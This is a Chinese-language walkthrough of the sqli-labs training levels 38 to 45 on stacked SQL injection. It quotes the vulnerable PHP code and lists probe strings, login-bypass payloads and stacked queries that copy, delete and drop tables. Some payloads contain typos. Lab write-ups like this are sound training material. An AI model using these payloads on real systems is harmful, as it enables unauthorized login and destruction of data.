堆叠注入
堆叠注入的原理
在SQL中,分号用来表示一条sql语句的结束,如果我们想将一堆sql语句一起执行,就是堆叠注入
结束一个分号后继续构建下一条语句,比如select*from users where id=1 ; create table test like users
就是新建一个表
或者比如用户输入1;DELETE FROM products
当执行查询时,第一条显示查询的信息,第二条则将整个表进行删除
Less 38 ~ 41 虽然使用 Less 1 的方式注入即可注入成功,但是这 4 关存在堆叠注入漏洞。我们可以使用 “;” 闭合第一个 SQL 语句,然后在后面执行任意的 SQL 语句,通过这个漏洞我们可以对数据库执行任意的操作。
Less_38
sqli-labs 通关指南:Less 38 ~ 41 - 乌漆WhiteMoon
查看源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
可以看到mysqli_multi_query()
该函数可以执行多条mysql语句
而之前的mysql_query()
函数,该函数只能执行一条Mysql语句
这道题是单引号注入
来试试堆叠注入吧
?id=1';create tables Cyan like users;--+
,添加一个新的名为Cyan
的表
可以看到多了个Cyan
的表名
?id=1';INSRET INTO Cyan SELECT*FROM users;
将users表中的数据插入到Cyan中去
?id=1';DELETE FROM Cyan;--+
将新建表中的数据删除
?id=1';DROP TABLE Cyan;--+
将新建的表给删除
Less_39
先将常见的语句进行注入
?id=1'
?id=1')
?id=1'))
?id=1"
?id=1")
?id=1"))
发现都报错了
这道题是数字型注入
?id=1 and 1=1
正常 ?id=1 and 1=2
报错
和上题差不多了
?id=1;CREATE TABLE cyan LIKE usres;
插入数据?id=1;INSERT INTO cyan SELECT*FROM users;
Less_40
输入?id=1'
报错,但是没有回显;
经过尝试后,可以知道本题是单引号加上括号的盲注
?id=1;CREATE TABLE Cyan LIKE users;--+
?id=1;INSERT INTO Cyan SELECT * FROM users;--+
?id=1;DELETE FROM Cyan;--+
?id=1;DROP TABLE Cyan;--+
和38题一样
Less_41
多多尝试一下,是数字型的盲注
输入?id=1 and 1=1
正常显示,输入?id=1 and 1=2
报错
?id=1;CREATE TABLE Cyan LIKE users;--+
?id=1;INSERT INTO Cyan SELECT * FROM users;--+
?id=1;DELETE FROM Cyan;--+
?id=1;DROP TABLE Cyan;--+
Less_42
打开发现是个登录框,和24题的二次注入的框框有点点像
利用万能密码先注入,全部都登陆失败
1 OR 1 = 1#
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
对密码进行万能密码的注入1' or 1=1#
发现成功登陆了,密码字段存在单引号闭合的字符型注入
update更新数据后,经过mysql_real_escape_string ()
处理后的数据,存入到数据库后不会发生变化,在select调用的时候才能发挥作用 。所以不用考虑考虑在更新密码处进行注入,所以这关和二次注入的思路是不一样的
查看Login中的源代码
$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
可以发现password没有通过mysqli_real_escape_string
函数的处理,因此我们在登陆的时候可以进行attack
mysqli_real_escape_string 会对SQL中的特殊字符进行转义
会被进行转义的字符包括:NUL (ASCII 0)、 \n、\r、\、 '、" 和 CTRL+Z
在输密码那栏输入1';drop table cyan;#
这是之前的表名
这是执行完命令之后的表名
其余的命令和上面的相同
Less_43
1' or 1=1#
1" or 1=1#
,没有报错信息了
1') or 1=1#
,ok ,成功登录,说明密码字段存在单引号加括号的字符型注入
查看源代码:
$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
和上题一样,1');create table me like users;
okk,添加进去了
Less_44
1' or 1=1#
吼,就直接登录进去了,密码存在单引号的注入
查看页面源代码:
$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
和上面的题一样
1';insert me select*from users;
之前的me 表
插入数据后的me表
Less_45
1') or 1=1#
成功登录,密码字段存在单引号加上括号的字符型注入
在密码那里输入
1');delete from me#
可以看到没有数据噜
1');drop table me#
行,已经被删掉了